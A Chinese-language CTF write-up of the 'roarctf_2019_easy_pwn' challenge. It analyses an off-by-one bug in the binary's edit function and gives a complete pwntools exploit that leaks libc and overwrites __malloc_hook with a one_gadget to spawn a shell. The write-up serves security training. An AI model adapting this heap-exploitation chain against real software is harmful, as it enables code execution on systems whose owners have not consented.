查看程序保护机制
题目分析
add函数
创建chunk,最多创建15个,不能大于4096字节,函数没有问题
edit函数
edit函数中有个问题,就是编辑时输入的size减去添加时的size时的值为10时,可以多输入一个字节,纯在off-by-one漏洞。
free函数
没有问题,free之后都置空了。
show函数
这里会打印出chunk的内容,输出的长度为之前创建chunk时的size大小。
思路
利用off-by-one漏洞泄露出libc的地址,然后改__free_hook为one-gadget
解题
先把前面的内容写好
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./roarctf_2019_easy_pwn"
#io = remote("node4.buuoj.cn",28851)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23_64.so")
def add(size):
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"size: ")
io.sendline(str(size))
def edit(idx,size,data):
io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"index: ")
io.sendline(str(idx))
io.recvuntil(b"size: ")
io.sendline(str(size))
io.recvuntil(b"content: ")
io.send(data)
def free(idx):
io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"index: ")
io.sendline(str(idx))
def show(idx):
io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"index: ")
io.sendline(str(idx))
先创建4个chunk
add(0x18) #0
add(0x10) #1
add(0x90) #2
add(0x18) #3
然后通过off-by-one漏洞编辑chunk0,更改chunk1的size位。
payload = b"a"*0x10 + p64 (0x20) + p8(0xa1)
edit(0,0x18+10,payload)
payload = p64(0)*0xe + p64(0xa0) + p64(0x21)
edit(2,0x80,payload)
这样就伪造了两个chunk的大小,但在程序中储存的chunk1的size值不是0x90而是0x10,chunk2不是0x10而是0x90,即使chunk1现在是0xa1的大小,但只能编辑0x10的字节。
free(1)
add(0x90)
payload = p64(0)*3 + p64(0xa1)
edit(1,0x20,payload)
free(2)
show(1)
现在free chunk1它就会加入unsorted bin,然后再创建一个0x90大小的chunk,这是就会把chunk1给我们,然后再还原原来的chunk2。free掉chunk2再show就能泄露出main_arena+88的地址。
然后计算我们要用到的函数地址。
io.recvuntil(b"\x7f\x00\x00")
libc_addr = u64(io.recv(6).ljust(8,b"\x00"))-88-libc.sym['__malloc_hook']-0x10
malloc_hook = libc_addr+libc.sym["__malloc_hook"]
realloc_hook = libc_addr+libc.sym["realloc"]
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_addr+gadget[3]
ptr_chunk = malloc_hook-0x23
print("libc_addr--------------->:",hex(libc_addr))
print("malloc_hook--------------->:",hex(malloc_hook))
print("realloc_hook------------>: ",hex(realloc_hook))
print("ptr_chunk---------------->: ",hex(ptr_chunk))
重新申请chunk2,构造chunk2,然后释放。修改chunk2的链表地址为
malloc_hook,把堆块申请到malloc_hook
add(0x80) #2
payload = p64(0)*3+p64(0x71)+p64(0)*12 + p64(0x70) + p64(0x21)
edit(1,0x90,payload)
free(2)
payload = p64(0)*3 + p64(0x71) + p64(ptr_chunk)*2
edit(1,0x30,payload)
add(0x60)
add(0x60) #4
申请到堆块后,修改malloc_hook的内容为 one_gadget。最后,申请堆块执行one_gadget
payload = b"a"*11 + p64(one_gadget) + p64(realloc_hook+4)
edit(4,27,payload)
add(0x60)
完整exp为:
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./roarctf_2019_easy_pwn"
io = remote("node4.buuoj.cn",28461)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23_64.so")
def add(size):
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"size: ")
io.sendline(str(size))
def edit(idx,size,data):
io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"index: ")
io.sendline(str(idx))
io.recvuntil(b"size: ")
io.sendline(str(size))
io.recvuntil(b"content: ")
io.send(data)
def free(idx):
io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"index: ")
io.sendline(str(idx))
def show(idx):
io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"index: ")
io.sendline(str(idx))
add(0x18) #0
add(0x10) #1
add(0x90) #2
add(0x18) #3
payload = b"a"*0x10 + p64 (0x20) + p8(0xa1)
edit(0,0x18+10,payload)
payload = p64(0)*0xe + p64(0xa0) + p64(0x21)
edit(2,0x80,payload)
free(1)
add(0x90)
payload = p64(0)*3 + p64(0xa1)
edit(1,0x20,payload)
free(2)
show(1)
io.recvuntil(b"\x7f\x00\x00")
libc_addr = u64(io.recv(6).ljust(8,b"\x00"))-88-libc.sym['__malloc_hook']-0x10
malloc_hook = libc_addr+libc.sym["__malloc_hook"]
realloc_hook = libc_addr+libc.sym["realloc"]
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_addr+gadget[3]
ptr_chunk = malloc_hook-0x23
print("libc_addr--------------->:",hex(libc_addr))
print("malloc_hook--------------->:",hex(malloc_hook))
print("realloc_hook------------>: ",hex(realloc_hook))
print("ptr_chunk---------------->: ",hex(ptr_chunk))
add(0x80) #2
payload = p64(0)*3+p64(0x71)+p64(0)*12 + p64(0x70) + p64(0x21)
edit(1,0x90,payload)
free(2)
payload = p64(0)*3 + p64(0x71) + p64(ptr_chunk)*2
edit(1,0x30,payload)
add(0x60)
add(0x60) #4
payload = b"a"*11 + p64(one_gadget) + p64(realloc_hook+4)
edit(4,27,payload)
add(0x60)
# gdb.attach(io)
io.interactive()